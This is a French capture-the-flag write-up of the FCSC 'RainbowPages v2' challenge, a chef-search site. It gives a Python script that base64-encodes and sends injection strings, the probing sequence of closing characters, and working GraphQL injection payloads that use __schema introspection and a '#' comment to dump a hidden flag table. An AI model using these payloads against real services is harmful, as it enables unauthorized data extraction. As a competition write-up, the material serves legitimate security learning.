RainbowPages v2

Points : 250 (dynamique)

La premiĂšre version de notre plateforme de recherche de
cuisiniers présentait quelques problÚmes de sécurité.
Heureusement, notre développeur ne compte pas ses heures
et a corrigé l'application en nous affirmant que plus rien n'était
désormais exploitable. Il en a également profiter
pour améliorer la recherche des chefs.

Pouvez-vous encore trouver un problÚme de sécurité ?

URL : http://challenges2.france-cybersecurity-challenge.fr:5007/

Ce challenge fait suite au challenge RainbowPages

Analyse

En allant sur le lien donné par la description du challenge, je tombe sur un site de recherche de chefs cuisiniers.

Je peux effectuer des recherches Ă  l’aide du champ “Search one chef”. En analysant le code source de la page, je tombe sur une fonction javascript qui envoie ma recherche par la mĂ©thode GET avec l’argument search Ă  la page : index.php.

Voici le code intéressant:

function makeSearch(searchInput) {
			if(searchInput.length == 0) {
				alert("You must provide at least one character!");
				return false;
			}

			var searchValue = btoa(searchInput);
			var bodyForm = new FormData();
			bodyForm.append("search", searchValue);

			fetch("index.php?search="+searchValue, {
				method: "GET"
			}).then(function(response) {
				response.json().then(function(data) {
					data = eval(data);
					data = data['data']['allCooks']['nodes'];
					$("#results thead").show()
					var table = $("#results tbody");
					table.html("")
					$("#empty").hide();
					data.forEach(function(item, index, array){
						table.append("<tr class='table-dark'><td>"+item['firstname']+" "+ item['lastname']+"</td><td>"+item['speciality']+"</td><td>"+(item['price']/100)+"</td></tr>");
					});
					$("#count").html(data.length)
					$("#count").show()
				});
			});
		}

Je remarque aussi la fonction btoa qui permet d’encoder une chaĂźne de caractĂšres en base64.

L’outil “RĂ©seau” (Crtl+Maj+I) de FireFox permet de voir les requĂȘtes envoyĂ©es par le navigateur, j’en rĂ©cupĂšre donc une.

Recherche du point d’exploitation

En se basant sur le premier challenge, je sais que le type de données envoyé est du GraphQL.

J’ai ensuite fait un script python qui me permet d’encoder mes donnĂ©es puis de les envoyer au site pour rĂ©cupĂ©rer le rĂ©sultat.

import requests
import base64

URL = "http://challenges2.france-cybersecurity-challenge.fr:5007/index.php?search={0}"

while True:

    injection = input("Command to inject : ")

    binjection = base64.b64encode(injection.encode()).decode()

    _url = URL.format(binjection)

    res = requests.get(_url)

    print("\n=> Result : " + res.text + "\n")

Mon but premier Ă©tait de faire une requĂȘte valide. Alors, j’ai cherchĂ© Ă  fermer la premiĂšre requĂȘte en ajoutant un des caractĂšres suivant : ‘}’, ‘]’, ‘)’.

Si le site me renvoyait une erreur liĂ©e Ă  un de ces caractĂšres, je savais donc qu’il n’Ă©tait pas bon. Sinon cela voulait dire que je fermais une condition, filtre ou autre.

Voila un court exemple :

Command to inject : 2%"}

=> Result : {"errors":[{"message":"Syntax Error: Cannot parse the unexpected character \"%\".","locations":[{"line":1,"column":55}]}]}

Command to inject : 2%"}]

=> Result : {"errors":[{"message":"Syntax Error: Expected Name, found ]","locations":[{"line":1,"column":55}]}]}

Command to inject : 2%"}}

=> Result : {"errors":[{"message":"Syntax Error: Cannot parse the unexpected character \"%\".","locations":[{"line":1,"column":56}]}]}

[snip]

Command to inject : 2%"}}]})}]

=> Result : {"errors":[{"message":"Syntax Error: Unexpected ]","locations":[{"line":1,"column":60}]}]}

Command to inject : 2%"}}]})})

=> Result : {"errors":[{"message":"Syntax Error: Unexpected )","locations":[{"line":1,"column":60}]}]}

Command to inject : 2%"}}]})}}

=> Result : {"errors":[{"message":"Syntax Error: Unexpected }","locations":[{"line":1,"column":60}]}]}

Tous les caractĂšres Ă©tant “Unexpected” cela veut dire que j’ai trouvĂ© le moyen de fermer la requĂȘte.

Exploitation

__schema

La table __schema est un Ă©quivalent d’aprĂšs moi de la table informations_schema sous SQL. Elle contient les informations sur les noms des tables et autres.

Avec l’aide de la documentation, je trouve le moyen de pouvoir dump le nom de toutes les tables disponibles.

__schema {
  types {
    name
  }
}

Je peux donc ajouter cette requĂȘte Ă  celle trouvĂ©e dans la partie de reconnaissance.

Bien Ă©videmment, il me faut la modifier. J’ajoute nodes qui permet de renvoyer une valeur pour ne pas que la requĂȘte ne gĂ©nĂšre d’erreur.

Voici la requĂȘte actuelle :

2%"}}]}) { nodes { firstname }}, __schema { types { name }}}

J’essaye de la lancer mais j’ai un message d’erreur. Sans doute la deuxiĂšme partie de la requĂȘte qui pose problĂšme.

Bypass & Extraction des champs

AprĂšs quelques heures d’intenses recherches, dans un Ă©lan de dĂ©sespoir, j’ajoute le caractĂšre ‘#’ qui pourrait me commenter le reste de la requĂȘte.

CA FONTIONNE !

Command to inject : 2%"}}]}) { nodes { firstname }}, __schema { types { name }}}#  

=> Result : {"data":{"allCooks":{"nodes":[]},"__schema":{"types":[{"name":"Query"},{"name":"Node"},{"name":"ID"},{"name":"Int"},{"name":"Cursor"},{"name":"CooksOrderBy"},{"name":"CookCondition"},{"name":"String"},{"name":"CookFilter"},{"name":"IntFilter"},{"name":"Boolean"},{"name":"StringFilter"},{"name":"CooksConnection"},{"name":"Cook"},{"name":"CooksEdge"},{"name":"PageInfo"},{"name":"FlagNotTheSameTableNamesOrderBy"},{"name":"FlagNotTheSameTableNameCondition"},{"name":"FlagNotTheSameTableNameFilter"},{"name":"FlagNotTheSameTableNamesConnection"},{"name":"FlagNotTheSameTableName"},{"name":"FlagNotTheSameTableNamesEdge"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}

Me voilĂ  en possession de tous les noms de tables. J’essaye de voir ce qui se cache dans la table FlagNotTheSameTableName qui me semble fort intĂ©ressant.

J’ajoute all au dĂ©but et un s Ă  la fin du nom de la table (Pattern des tables requĂȘtĂ©es).

Command to inject : 2%"}}]}) { nodes { firstname }}, allFlagNotTheSameTableNames {nodes { FlagNotTheSameTableName }}}#   

=> Result : {"errors":[{"message":"Cannot query field \"FlagNotTheSameTableName\" on type \"FlagNotTheSameTableName\". Did you mean \"flagNotTheSameFieldName\"?","locations":[{"line":1,"column":121}]}]}

Parfait ! J’ai pu rĂ©cupĂ©rer le nom du champ. J’essaye la requĂȘte en remplaçant ce qui pose problĂšme.

Command to inject : 2%"}}]}) { nodes { firstname }}, allFlagNotTheSameTableNames {nodes { flagNotTheSameFieldName }}}#  

=> Result : {"data":{"allCooks":{"nodes":[]},"allFlagNotTheSameTableNames":{"nodes":[{"flagNotTheSameFieldName":"FCSC{70c48061ea21935f748b11188518b3322fcd8285b47059fa99df37f27430b071}"}]}}}

flag: FCSC{70c48061ea21935f748b11188518b3322fcd8285b47059fa99df37f27430b071}